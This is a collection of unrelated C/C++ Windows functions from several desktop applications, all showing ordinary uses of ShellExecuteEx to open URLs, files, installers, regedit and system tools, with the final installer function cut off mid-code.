BOOL roadmap_internet_open_browser( const char* url) { SHELLEXECUTEINFO EI; WCHAR URL[GENERAL_URL_MAXSIZE+1]; size_t chars_count; if( !url || !(*url)) { roadmap_log(ROADMAP_ERROR, "roadmap_internet_open_browser() - Invalid (empty) input"); return FALSE; } memset( &EI, 0, sizeof(SHELLEXECUTEINFO)); EI.cbSize = sizeof(SHELLEXECUTEINFO); EI.lpVerb = L"open"; EI.lpFile = URL; EI.nShow = SW_SHOW; chars_count = mbstowcs( URL, url, GENERAL_URL_MAXSIZE); if( (chars_count < 1) || (GENERAL_URL_MAXSIZE <= chars_count)) { roadmap_log(ROADMAP_ERROR, "roadmap_internet_open_browser() - Failed to convert URL to unicode (%s)", url); return FALSE; } URL[chars_count] = '\0'; if( ShellExecuteEx( &EI)) return TRUE; roadmap_log(ROADMAP_ERROR, "roadmap_internet_open_browser() - 'ShellExecuteEx()' failed with error %d, for URL '%s'", GetLastError(), url); return FALSE; }
void open_file(const boost::filesystem::path & file) { const std::string arg = fs::system_complete(file).normalize()._BOOST_FS_NATIVE(); SHELLEXECUTEINFO ExecuteInfo; memset(&ExecuteInfo, 0, sizeof(ExecuteInfo)); ExecuteInfo.cbSize = sizeof(ExecuteInfo); ExecuteInfo.fMask = 0; ExecuteInfo.hwnd = 0; ExecuteInfo.lpVerb = "open"; // Operation to perform ExecuteInfo.lpFile = "iexplore.exe"; //"c:\\windows\\notepad.exe"; // Application name ExecuteInfo.lpParameters = arg.c_str(); // Additional parameters ExecuteInfo.lpDirectory = 0; // Default directory ExecuteInfo.nShow = SW_SHOW; ExecuteInfo.hInstApp = 0; if(ShellExecuteEx(&ExecuteInfo) == FALSE) { // Could not start application -> call 'GetLastError()' throw get_win_last_error(); } log_stream() << std::endl << "If you have problems with the information bar in Internet Explorer," << std::endl << "follow the instructions at:" << std::endl << "http://www.phdcc.com/xpsp2.htm#securityoptions" << std::endl << std::endl; }
bool FWindowsPlatformProcess::ExecElevatedProcess(const TCHAR* URL, const TCHAR* Params, int32* OutReturnCode) { SHELLEXECUTEINFO ShellExecuteInfo; ZeroMemory(&ShellExecuteInfo, sizeof(ShellExecuteInfo)); ShellExecuteInfo.cbSize = sizeof(ShellExecuteInfo); ShellExecuteInfo.fMask = SEE_MASK_UNICODE | SEE_MASK_NOCLOSEPROCESS; ShellExecuteInfo.lpFile = URL; ShellExecuteInfo.lpVerb = TEXT("runas"); ShellExecuteInfo.nShow = SW_SHOW; ShellExecuteInfo.lpParameters = Params; bool bSuccess = false; if (ShellExecuteEx(&ShellExecuteInfo)) { ::WaitForSingleObject(ShellExecuteInfo.hProcess, INFINITE); if (OutReturnCode != NULL) { verify(::GetExitCodeProcess(ShellExecuteInfo.hProcess, (::DWORD*)OutReturnCode)); } verify(::CloseHandle(ShellExecuteInfo.hProcess)); bSuccess = true; } return bSuccess; }
void CDirstatDoc::OnExplorerHere() { try { const CItem *item= GetSelection(); ASSERT(item != NULL); if (item->GetType() == IT_MYCOMPUTER) { SHELLEXECUTEINFO sei; ZeroMemory(&sei, sizeof(sei)); sei.cbSize= sizeof(sei); sei.hwnd= *AfxGetMainWnd(); sei.lpVerb= _T("explore"); sei.nShow= SW_SHOWNORMAL; CCoTaskMem<LPITEMIDLIST> pidl; GetPidlOfMyComputer(&pidl); sei.lpIDList= pidl; sei.fMask|= SEE_MASK_IDLIST; ShellExecuteEx(&sei); // ShellExecuteEx seems to display its own Messagebox on error. } else { MyShellExecute(*AfxGetMainWnd(), _T("explore"), item->GetFolderPath(), NULL, NULL, SW_SHOWNORMAL); } } catch (CException *pe) { pe->ReportError(); pe->Delete(); } }
void CSetOverlayHandlers::OnBnClickedRegedt() { CComHeapPtr<WCHAR> pszPath; if (SHGetKnownFolderPath(FOLDERID_Windows, KF_FLAG_CREATE, nullptr, &pszPath) == S_OK) { CString path = pszPath; path += L"\\regedit.exe"; // regedit stores the key it showed last in // HKEY_Current_User\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\LastKey // we set that here to // HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers // so when we start regedit, it will show that key on start CRegString regLastKey(L"Software\\Microsoft\\Windows\\CurrentVersion\\Applets\\Regedit\\LastKey"); regLastKey = L"HKEY_Local_Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellIconOverlayIdentifiers"; SHELLEXECUTEINFO si = { sizeof(SHELLEXECUTEINFO) }; si.hwnd = GetSafeHwnd(); si.lpVerb = L"open"; si.lpFile = path; si.nShow = SW_SHOW; ShellExecuteEx(&si); } }
MOZCE_SHUNT_API HINSTANCE ShellExecute(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd) { LPTSTR op = a2w_malloc(lpOperation, -1, NULL); LPTSTR file = a2w_malloc(lpFile, -1, NULL); LPTSTR parm = a2w_malloc(lpParameters, -1, NULL); LPTSTR dir = a2w_malloc(lpDirectory, -1, NULL); SHELLEXECUTEINFO info; info.cbSize = sizeof(SHELLEXECUTEINFO); info.fMask = SEE_MASK_NOCLOSEPROCESS; info.hwnd = hwnd; info.lpVerb = op; info.lpFile = file; info.lpParameters = parm; info.lpDirectory = dir; info.nShow = nShowCmd; BOOL b = ShellExecuteEx(&info); if (op) free(op); if (file) free(file); if (parm) free(parm); if (dir) free(dir); return (HINSTANCE) info.hProcess; }
BOOL SparkRunExec(const TCHAR *cmd, const TCHAR *para, DWORD dwMilliseconds,bool wait=false) { // DWORD Sk=GetTickCount(); SHELLEXECUTEINFO ShExecInfo = {0}; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = NULL; ShExecInfo.lpFile = cmd; ShExecInfo.lpParameters = para; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow =SW_SHOWMINIMIZED; // SW_HIDE ShExecInfo.hInstApp = NULL; BOOL suc = ShellExecuteEx(&ShExecInfo); if (wait) { HANDLE hProcess = ShExecInfo.hProcess; if (hProcess != 0) { WaitForSingleObject(hProcess, INFINITE); CloseHandle(hProcess); } } return suc; }
void launcherApplication::runLauncher() { Logger::writeToLog("Running launcher..."); File launcherDir(File::getSpecialLocation(File::currentApplicationFile).getParentDirectory()); #if defined(JUCE_LINUX) || defined(JUCE_BSD) File launcherApp(launcherDir.getChildFile("tremlauncher")); #elif defined(JUCE_WINDOWS) File launcherApp(launcherDir.getChildFile("Tremulous Launcher.exe")); #elif defined(JUCE_MAC) File launcherApp(launcherDir.getChildFile("Tremulous Launcher.app")); #endif #if defined(JUCE_WINDOWS) SHELLEXECUTEINFO sei = { 0 }; sei.cbSize = sizeof(SHELLEXECUTEINFO); sei.lpFile = launcherApp.getFullPathName().toUTF8(); sei.lpParameters = GetCommandLine(); sei.nShow = SW_NORMAL; if (ShellExecuteEx(&sei)) _exit(1); #endif return; }
//===============================================ShellExicute==========================================================// bool shellExecute(const char * file, const char *params){ wchar_t * Wfile = c2w(file); wchar_t * Wparams = c2w(params); SHELLEXECUTEINFO ShellInfo; memset(&ShellInfo, 0, sizeof(ShellInfo)); ShellInfo.cbSize = sizeof(ShellInfo); ShellInfo.hwnd = NULL; ShellInfo.lpVerb = NULL; ShellInfo.lpFile = Wfile; // L"VisualSFM.exe" L前缀将常量char 转化成 wchar ShellInfo.lpParameters = Wparams; ShellInfo.nShow = SW_HIDE; ShellInfo.fMask = SEE_MASK_NOCLOSEPROCESS; if( ShellExecuteEx(&ShellInfo)) { WaitForSingleObject(ShellInfo.hProcess,INFINITE); return true; } else{ return false; } }
// 내보내기 // in_lpszProvidedFullPath : "C:\Download\*.reg" bool CEnvironmentValue::ExportRegKeyToFile( LPCTSTR /*in_*/lpszSubKey, LPCTSTR /*in_*/lpszProvidedFullPath ) { assert( ( lpszSubKey != NULL ) && ( lpszProvidedFullPath != NULL ) ); size_t unLengthOfString = 0; TCHAR szRegFileFullPath[MAX_PATH] = {0,}; TCHAR szParameters[1024] = {0,}; SHELLEXECUTEINFO tShellExecuteInfo; // 내보내기 경로 구성 if( ( lpszSubKey == NULL ) || ( lpszProvidedFullPath == NULL ) ) { g_Log.WriteLog( false, LOG_CLASS_WARNING, TEXT( "%s | Parameter is invalid.\n" ), TEXT( __FUNCTION__ ) ); return false; } else { unLengthOfString = _tcsclen( lpszProvidedFullPath ); if( ( unLengthOfString == 0 ) || ( MAX_PATH < unLengthOfString ) ) { g_Log.WriteLog( false, LOG_CLASS_WARNING, TEXT( "%s | The length of the file path is invalid. | %d\n" ), TEXT( __FUNCTION__ ), unLengthOfString ); return false; } _tcscpy_s( szRegFileFullPath, MAX_PATH, lpszProvidedFullPath ); } // Parameter 구성 // _stprintf_s( szParameters, 1024, // TEXT( "/e \"%s\" \"%s\\%s\"" ), szRegFileFullPath, TEXT( "HKEY_CURRENT_USER" ), lpszSubKey ); // TEST char szTest[256] = {0,}; sprintf( szTest, "\n예외 전!!\n" ); OutputDebugStringA( szTest ); printf( "\n예외 전!!\n" ); // LPTOP_LEVEL_EXCEPTION_FILTER pfnTopLevelExcFilter = NULL; // pfnTopLevelExcFilter = SetUnhandledExceptionFilter( CustomizedExcFilter ); __try // try { // _stprintf_s( szParameters, 126, // TEXT( "/e \"%s\" \"%s\\%s\"" ), szRegFileFullPath, TEXT( "HKEY_CURRENT_USER" ), lpszSubKey ); int* pnTest = NULL; *pnTest = 1; } __except( CustomizedExcFilter( GetExceptionInformation() ) ) // catch( ? ) { sprintf( szTest, "\n예외 발생!!\n" ); OutputDebugStringA( szTest ); printf( "\n예외 발생!!\n" ); } sprintf( szTest, "\n예외 후!!\n" ); OutputDebugStringA( szTest ); printf( "\n예외 후!!\n" ); // SetUnhandledExceptionFilter( pfnTopLevelExcFilter ); // TEST // 내보내기 실행 ZeroMemory( &tShellExecuteInfo, sizeof( SHELLEXECUTEINFO ) ); tShellExecuteInfo.cbSize = sizeof( SHELLEXECUTEINFO ); tShellExecuteInfo.fMask = SEE_MASK_NOCLOSEPROCESS; tShellExecuteInfo.lpVerb = TEXT( "open" ); tShellExecuteInfo.lpFile = TEXT( "regedit.exe" ); tShellExecuteInfo.lpParameters = szParameters; tShellExecuteInfo.nShow = SW_HIDE; if( ShellExecuteEx( &tShellExecuteInfo ) == FALSE ) { g_Log.PrintErrorMsg( TEXT( __FUNCTION__ ), true, GetLastError() ); return false; } // 주의!! ShellExecuteEx() 후, WaitForSingleObject() 호출 없이 바로 반환할 경우 // '내보내기'에 의한 *.reg file이 생성되지 않는다. if( tShellExecuteInfo.hProcess != NULL ) { if( WaitForSingleObject( tShellExecuteInfo.hProcess, 100 ) == WAIT_FAILED ) { g_Log.PrintErrorMsg( TEXT( __FUNCTION__ ), true, GetLastError() ); CloseHandle( tShellExecuteInfo.hProcess ); return false; } CloseHandle( tShellExecuteInfo.hProcess ); } return true; }
BOOL CPreviewThread::Run() { ASSERT (m_pPartfile) ; CFile destFile; CFile srcFile; if (!srcFile.Open(m_pPartfile->GetFilePath(), CFile::modeRead | CFile::shareDenyNone)) return FALSE; try{ uint32 nSize = m_pPartfile->GetFileSize(); CString strExtension = CString(_tcsrchr(m_pPartfile->GetFileName(), _T('.'))); CString strPreviewName = m_pPartfile->GetTempPath() + _T("\\") + m_pPartfile->GetFileName().Mid(0, 5) + _T("_preview") + strExtension; bool bFullSized = true; if (!strExtension.CompareNoCase(_T(".mpg")) || !strExtension.CompareNoCase(_T(".mpeg"))) bFullSized = false; if (!destFile.Open(strPreviewName, CFile::modeWrite | CFile::shareDenyWrite | CFile::modeCreate)) return FALSE; srcFile.SeekToBegin(); if (bFullSized) destFile.SetLength(nSize); destFile.SeekToBegin(); BYTE abyBuffer[4096]; uint32 nRead; while (destFile.GetPosition()+4096 < PARTSIZE*2){ nRead = srcFile.Read(abyBuffer,4096); destFile.Write(abyBuffer,nRead); } srcFile.Seek(-(PARTSIZE*2),CFile::end); uint32 nToGo =PARTSIZE*2; if (bFullSized) destFile.Seek(-(PARTSIZE*2),CFile::end); do{ nRead = (nToGo - 4096 < 1)? nToGo:4096; nToGo -= nRead; nRead = srcFile.Read(abyBuffer,4096); destFile.Write(abyBuffer,nRead); } while (nToGo); destFile.Close(); srcFile.Close(); m_pPartfile->m_bPreviewing = false; SHELLEXECUTEINFO SE; MEMSET(&SE,0,sizeof(SE)); SE.fMask = SEE_MASK_NOCLOSEPROCESS ; SE.lpVerb = _T("open"); CString path; if (!m_player.IsEmpty()) { TCHAR shortPath[512]; //Cax2 short path for vlc GetShortPathName(strPreviewName, shortPath, ARRSIZE(shortPath)); path=thePrefs.GetVideoPlayer(); int pos = path.ReverseFind(_T('\\')); if (pos == -1) path.Empty(); else path = path.Left(pos + 1); SE.lpFile = m_player.GetBuffer(); SE.lpParameters=shortPath; SE.lpDirectory=path.GetBuffer(); } else SE.lpFile = strPreviewName.GetBuffer(); SE.nShow = SW_SHOW; SE.cbSize = sizeof(SE); ShellExecuteEx(&SE); if (SE.hProcess){ WaitForSingleObject(SE.hProcess, INFINITE); CloseHandle(SE.hProcess); } CFile::Remove(strPreviewName); } catch(CFileException* error){ m_pPartfile->m_bPreviewing = false; error->Delete(); } return TRUE; }
INT_PTR CALLBACK UpdaterWndProc( __in HWND hwndDlg, __in UINT uMsg, __in WPARAM wParam, __in LPARAM lParam ) { switch (uMsg) { case WM_INITDIALOG: { LOGFONT lHeaderFont = { 0 }; // load the PH main icon using the 'magic' resource id. HANDLE hPhIcon = LoadImage( GetModuleHandle(NULL), MAKEINTRESOURCE(PHAPP_IDI_PROCESSHACKER), IMAGE_ICON, GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON), LR_SHARED ); // Set our initial state as download PhUpdaterState = Download; // Set the window icon. SendMessage(hwndDlg, WM_SETICON, ICON_BIG, (LPARAM)hPhIcon); lHeaderFont.lfHeight = -15; lHeaderFont.lfWeight = FW_MEDIUM; lHeaderFont.lfQuality = CLEARTYPE_QUALITY | ANTIALIASED_QUALITY; // We don't check if Segoe exists, CreateFontIndirect does this for us. wcscpy_s( lHeaderFont.lfFaceName, _countof(lHeaderFont.lfFaceName), L"Segoe UI" ); // Create the font handle. FontHandle = CreateFontIndirectW(&lHeaderFont); // Set the header font. SendMessage(GetDlgItem(hwndDlg, IDC_MESSAGE), WM_SETFONT, (WPARAM)FontHandle, FALSE); // Center the update window on PH if visible and not mimimized else center on desktop. PhCenterWindow(hwndDlg, (IsWindowVisible(GetParent(hwndDlg)) && !IsIconic(GetParent(hwndDlg))) ? GetParent(hwndDlg) : NULL); // Create our update check thread. UpdateCheckThreadHandle = PhCreateThread(0, (PUSER_THREAD_START_ROUTINE)CheckUpdateThreadStart, hwndDlg); } break; case WM_SHOWDIALOG: { if (IsIconic(hwndDlg)) ShowWindow(hwndDlg, SW_RESTORE); else ShowWindow(hwndDlg, SW_SHOW); SetForegroundWindow(hwndDlg); } break; case WM_CTLCOLORBTN: case WM_CTLCOLORDLG: case WM_CTLCOLORSTATIC: { HDC hDC = (HDC)wParam; HWND hwndChild = (HWND)lParam; // Check for our static label and change the color. if (GetDlgCtrlID(hwndChild) == IDC_MESSAGE) { SetTextColor(hDC, RGB(19, 112, 171)); } // Set a transparent background for the control backcolor. SetBkMode(hDC, TRANSPARENT); // set window background color. return (INT_PTR)GetSysColorBrush(COLOR_WINDOW); } case WM_COMMAND: { switch (LOWORD(wParam)) { case IDCANCEL: case IDOK: { PostQuitMessage(0); } break; case IDC_DOWNLOAD: { switch (PhUpdaterState) { case Download: { if (PhInstalledUsingSetup()) { // Start our Downloader thread DownloadThreadHandle = PhCreateThread(0, (PUSER_THREAD_START_ROUTINE)DownloadUpdateThreadStart, hwndDlg); } else { // Let the user handle non-setup installation, show the homepage and close this dialog. PhShellExecute(hwndDlg, L"http://processhacker.sourceforge.net/downloads.php", NULL); PostQuitMessage(0); } } break; case Install: { SHELLEXECUTEINFO info = { sizeof(SHELLEXECUTEINFO) }; info.lpFile = SetupFilePath->Buffer; info.lpVerb = L"runas"; info.nShow = SW_SHOW; info.hwnd = hwndDlg; ProcessHacker_PrepareForEarlyShutdown(PhMainWndHandle); if (!ShellExecuteEx(&info)) { // Install failed, cancel the shutdown. ProcessHacker_CancelEarlyShutdown(PhMainWndHandle); // Set button text for next action Button_SetText(GetDlgItem(hwndDlg, IDC_DOWNLOAD), L"Retry"); } else { ProcessHacker_Destroy(PhMainWndHandle); } } break; } } break; } break; } break; case WM_UPDATE: { if (IsUpdating) { DWORD time_taken; DWORD download_speed; //DWORD time_remain = (MulDiv(time_taken, contentLength, bytesDownloaded) - time_taken); int percent; PPH_STRING dlRemaningBytes; PPH_STRING dlLength; PPH_STRING dlSpeed; PPH_STRING statusText; PhAcquireQueuedLockExclusive(&Lock); time_taken = (GetTickCount() - timeTransferred); download_speed = (bytesDownloaded / max(time_taken, 1)); percent = MulDiv(100, bytesDownloaded, contentLength); dlRemaningBytes = PhFormatSize(bytesDownloaded, -1); dlLength = PhFormatSize(contentLength, -1); dlSpeed = PhFormatSize(download_speed * 1024, -1); LastUpdateTime = GetTickCount(); PhReleaseQueuedLockExclusive(&Lock); statusText = PhFormatString( L"%s (%d%%) of %s @ %s/s", dlRemaningBytes->Buffer, percent, dlLength->Buffer, dlSpeed->Buffer ); SetDlgItemText(hwndDlg, IDC_STATUS, statusText->Buffer); SendDlgItemMessage(hwndDlg, IDC_PROGRESS, PBM_SETPOS, percent, 0); PhDereferenceObject(statusText); PhDereferenceObject(dlSpeed); PhDereferenceObject(dlLength); PhDereferenceObject(dlRemaningBytes); IsUpdating = FALSE; } } break; } return FALSE; }
//===================================================================================== // // * Function : set_static() // * Description // target_ip와 target_mac을 ARP table 상에 static으로 설정한다. // //===================================================================================== int set_static(struct sf_packet packet) { char* dev_name = deviceName; int ad_index=0; time_t timer; struct tm *t; char hostname[17]; char vendor[36]; char timestr[50]; ULONG len =0; PIP_ADAPTER_INFO p = NULL; // NetWork Adapter list DWORD dw = 0; SHELLEXECUTEINFO si; // Shell 명령어를 담기 위한 구조체 CString path; // static 설정 명령어 ZeroMemory(&si,sizeof(SHELLEXECUTEINFO)); si.cbSize = sizeof(SHELLEXECUTEINFO); si.lpVerb = __TEXT("open"); OSVERSIONINFO ver; // windows의 정보를 담는 구조체 ver.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&ver); // windows의 version을 가져오는 함수 /* windows vista 이상 */ if(ver.dwMajorVersion >= 6) { len = sizeof(IP_ADAPTER_INFO); p = (IP_ADAPTER_INFO*)malloc(sizeof(IP_ADAPTER_INFO)); dw = GetAdaptersInfo(p,&len); /* len의 실질적인 값을 얻어오기 위한 loop*/ while(dw == ERROR_BUFFER_OVERFLOW) { free(p); p = (IP_ADAPTER_INFO*)malloc(len); dw = GetAdaptersInfo(p,&len); } /* Adpater List 중에서 dev_name과 일치하는 adater를 찾은 뒤 그 adapter에 target_ip와 target_mac을 static 설정을 한다. */ while(p!=NULL) { if(strcmp(p->AdapterName,dev_name+20)==0) { ad_index = p->Index; path.Format(L" -c \"interface ipv4\" set neighbors %d \"%d.%d.%d.%d\" \"%02x-%02x-%02x-%02x-%02x-%02x\"",ad_index, target_ip[0],target_ip[1],target_ip[2],target_ip[3], target_mac[0],target_mac[1],target_mac[2],target_mac[3],target_mac[4],target_mac[5]); si.lpFile = __TEXT("netsh.exe"); break; } p=p->Next; } } else { path.Format(L" -s \"%d.%d.%d.%d\" \"%02x-%02x-%02x-%02x-%02x-%02x\"", target_ip[0],target_ip[1],target_ip[2],target_ip[3], target_mac[0],target_mac[1],target_mac[3],target_mac[4],target_mac[5]); si.lpFile = __TEXT("arp.exe"); } si.lpParameters = path; si.nShow = SW_HIDE; if(ShellExecuteEx(&si))/* Shell 명령어 실행*/{ /* Static 리스트에 추가 */ get_hostname(target_ip, hostname); search_vendor(oui_list, target_mac, vendor, 0, OUI_COUNT-1); timer = time(NULL); t = localtime(&timer); strftime(timestr, sizeof(timestr),"%Y-%m-%d %p %I:%M:%S",t); addSpoof(HEADER_STATIC,STATIC,target_ip,target_mac,vendor,timestr,hostname); deleteSpoof(HEADER_ATTACK, target_ip, ATTACK); /* 추가사항 UI출력부 적용 메시지 발생 */ memcpy(ARP_DATA.ipAddr, target_ip, IP_ALEN); memcpy(ARP_DATA.macAddr, target_mac, ETH_ALEN); strcpy(ARP_DATA.timestr, timestr); strcpy(ARP_DATA.vendor, vendor); SendMessage(hC1,WM_SPOOF, SM_UPDATE_LIST_STATIC, (LPARAM)&ARP_DATA); return 1; } else return 0; }
/* ** Entry point ** */ int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow) { // Avoid loading a dll from current directory SetDllDirectory(L""); CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); InitCommonControls(); if (lpCmdLine[0] == L'"') { // Strip quotes ++lpCmdLine; WCHAR* pos = wcsrchr(lpCmdLine, L'"'); if (pos) { *pos = L'\0'; } } WCHAR buffer[MAX_PATH]; GetModuleFileName(hInstance, buffer, MAX_PATH); // Remove the module's name from the path WCHAR* pos = wcsrchr(buffer, L'\\'); if (pos) { *(pos + 1) = L'\0'; } g_Data.programPath = g_Data.settingsPath = buffer; wcscat(buffer, L"Rainmeter.ini"); // Find the settings file and read skins path off it if (_waccess(buffer, 0) == 0) { g_Data.iniFile = buffer; if (GetPrivateProfileString(L"Rainmeter", L"SkinPath", L"", buffer, MAX_LINE_LENGTH, buffer) > 0) { g_Data.skinsPath = buffer; if (g_Data.skinsPath.back() != L'\\' && g_Data.skinsPath.back() != L'/') { g_Data.skinsPath += L'\\'; } } else { g_Data.skinsPath = g_Data.programPath; g_Data.skinsPath += L"Skins\\"; } } else { HRESULT hr = SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, buffer); wcscat(buffer, L"\\Rainmeter\\"); g_Data.settingsPath = buffer; wcscat(buffer, L"Rainmeter.ini"); g_Data.iniFile = buffer; if (SUCCEEDED(hr) && _waccess(buffer, 0) == 0) { if (GetPrivateProfileString(L"Rainmeter", L"SkinPath", L"", buffer, MAX_LINE_LENGTH, buffer) > 0) { g_Data.skinsPath = buffer; if (g_Data.skinsPath.back() != L'\\' && g_Data.skinsPath.back() != L'/') { g_Data.skinsPath += L'\\'; } } else { std::wstring error = L"SkinPath not found.\nMake sure that Rainmeter has been run at least once."; MessageBox(NULL, error.c_str(), L"Rainmeter Skin Installer", MB_ERROR); return 1; } } else { std::wstring error = L"Rainmeter.ini not found.\nMake sure that Rainmeter has been run at least once."; MessageBox(NULL, error.c_str(), L"Rainmeter Skin Installer", MB_ERROR); return 1; } } if (_wcsnicmp(lpCmdLine, L"/LoadTheme ", 11) == 0) { // Skip "/LoadTheme " lpCmdLine += 11; if (*lpCmdLine && CloseRainmeterIfActive()) { CDialogInstall::LoadTheme(lpCmdLine, true); std::wstring file = g_Data.programPath + L"Rainmeter.exe"; SHELLEXECUTEINFO sei = {0}; sei.cbSize = sizeof(SHELLEXECUTEINFO); sei.fMask = SEE_MASK_UNICODE; sei.lpFile = file.c_str(); sei.lpDirectory = g_Data.programPath.c_str(); sei.nShow = SW_SHOWNORMAL; ShellExecuteEx(&sei); } return 0; } else if (wcscmp(lpCmdLine, L"/Packager") == 0) { CDialogPackage::Create(hInstance, lpCmdLine); } else { CDialogInstall::Create(hInstance, lpCmdLine); } return 0; }
int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HWND hwnd; MSG msg; WNDCLASS wc; DWORD pid; WaitForBatCommandParam param; char * appName = "vestige"; char * batfile = "vestige.bat"; SHELLEXECUTEINFO shExecInfo; shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); shExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; shExecInfo.hwnd = NULL; shExecInfo.lpVerb = NULL; shExecInfo.lpFile = batfile; shExecInfo.lpParameters = NULL; shExecInfo.lpDirectory = NULL; shExecInfo.nShow = SW_HIDE; shExecInfo.hInstApp = NULL; if (!ShellExecuteEx(&shExecInfo)) { return; } pfnQueryInformationProcess ntQIP = (pfnQueryInformationProcess) GetProcAddress(GetModuleHandle("NTDLL.DLL"),"NtQueryInformationProcess"); smPROCESS_BASIC_INFORMATION info; ULONG returnSize; ntQIP(shExecInfo.hProcess, 0, &info, sizeof(info), &returnSize); pid = info.UniqueProcessId; hinst = hinstance; wc.style = 0; wc.lpfnWndProc = MainWndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hinstance; wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH)(1 + COLOR_BTNFACE); wc.lpszMenuName = NULL; wc.lpszClassName = "MaWinClass"; if(!RegisterClass(&wc)) return FALSE; hwnd = CreateWindow(wc.lpszClassName, appName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, NULL, NULL, hinstance, NULL); if (!hwnd) return FALSE; TrayIcon.cbSize = sizeof( NOTIFYICONDATA ); TrayIcon.hWnd = hwnd; TrayIcon.uID = 0; TrayIcon.hIcon = (HICON) LoadImage(hinstance, MAKEINTRESOURCE(IDI_APPICON), IMAGE_ICON, 0, 0, LR_SHARED); TrayIcon.uCallbackMessage = MY_WM_NOTIFYICON; TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP; strcpy(TrayIcon.szTip, appName); Shell_NotifyIcon(NIM_ADD,&TrayIcon); UpdateWindow(hwnd); param.hProcess = shExecInfo.hProcess; param.hwnd = hwnd; DWORD dwThreadID; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) WaitForBatCommand, ¶m, // no thread parameters 0, // default startup flags &dwThreadID); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } EnumWindows((WNDENUMPROC)TerminateAppEnum, (LPARAM) pid) ; WaitForSingleObject(shExecInfo.hProcess, INFINITE); CloseHandle(shExecInfo.hProcess); free(batfile); free(appName); return msg.wParam; }
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) #endif { hInst = hInstance; isWin64 = IsWindows64(); GetVersionEx(&gOSVer); int nInstallVer = 0; wsprintf(gsTitle, msgConEmuInstaller, CONEMUVERL); lstrcpyn(gsRunAsAdm, msgRunSetupAsAdmin, countof(gsRunAsAdm)); wchar_t szArg[MAX_PATH+1]; LPCWSTR pszCmdToken = GetCommandLine(); LPCWSTR pszCmdLineW = pszCmdToken; CTempDir temp_dir; // gsTempFolder[0] = 0; while (0 == NextArg(&pszCmdToken, szArg)) { if (lstrcmp(szArg, L"/?") == 0 || lstrcmp(szArg, L"-?") == 0 || lstrcmp(szArg, L"-h") == 0 || lstrcmp(szArg, L"-help") == 0 || lstrcmp(szArg, L"--help") == 0) { MessageBox(NULL, msgUsageExample, gsTitle, MB_ICONINFORMATION); return exit_Cancelled; } if (*szArg == L'/') { if (szArg[1] == L'e' || szArg[1] == L'E') { gbExtractOnly = true; if (szArg[2] == L':' && szArg[3]) { lstrcpyn(gsTempFolder, (szArg[3]==L'"') ? (szArg+4) : (szArg+3), countof(gsTempFolder)); } continue; } if (memcmp(szArg, L"/p:x", 4*sizeof(*szArg)) == 0) { gbAlreadyAdmin = IsUserAdmin(); if (lstrcmpi(szArg+4, L"86") == 0) { nInstallVer = Ver86; } else if (lstrcmpi(szArg+4, L"86,adm") == 0) { nInstallVer = Ver86; gbUseElevation = !gbAlreadyAdmin; } else if (lstrcmpi(szArg+4, L"64") == 0) { nInstallVer = Ver64; } else if (lstrcmpi(szArg+4, L"64,adm") == 0) { nInstallVer = Ver64; gbUseElevation = !gbAlreadyAdmin; } } else pszCmdToken = pszCmdLineW; break; } else if (*szArg == L'-') { pszCmdToken = pszCmdLineW; break; } pszCmdLineW = pszCmdToken; } if (!temp_dir.Acquire()) { return exit_CreateDirectory; } if (!gbExtractOnly) { // If pszCmdToken is not empty - set global var gbAutoMode = (pszCmdToken && *pszCmdToken); wchar_t szInstallPath[MAX_PATH+32]; bool bInstalled; HKEY hk; lstrcpyn(gsMessage, msgChooseInstallVer, countof(gsMessage)); szInstallPath[0] = 0; bInstalled = false; struct {HKEY hk; LPCWSTR path; LPCWSTR name; bool our;} Keys[] = { {HKEY_LOCAL_MACHINE,L"SOFTWARE\\ConEmu",L"InstallDir",true}, //Current installer does not use FarManager installation dir anymore //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far Manager",L"InstallDir"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far2",L"InstallDir"}, //{HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far",L"InstallDir"}, }; for (size_t s = 0; s < countof(Keys); s++) { if (!RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ, &hk) || !RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ|KEY_WOW64_32KEY, &hk)) { wchar_t szPath[MAX_PATH+1] = {}; DWORD cbSize = sizeof(szPath)-2; LONG lRc = RegQueryValueEx(hk, Keys[s].name, NULL, NULL, (LPBYTE)szPath, &cbSize); RegCloseKey(hk); if (!lRc && *szPath) { bInstalled = Keys[s].our; lstrcpy(szInstallPath, szPath); cbSize = lstrlen(szInstallPath); if (szInstallPath[cbSize-1] == L'\\') szInstallPath[cbSize-1] = 0; break; } } } if (szInstallPath[0] == 0) { 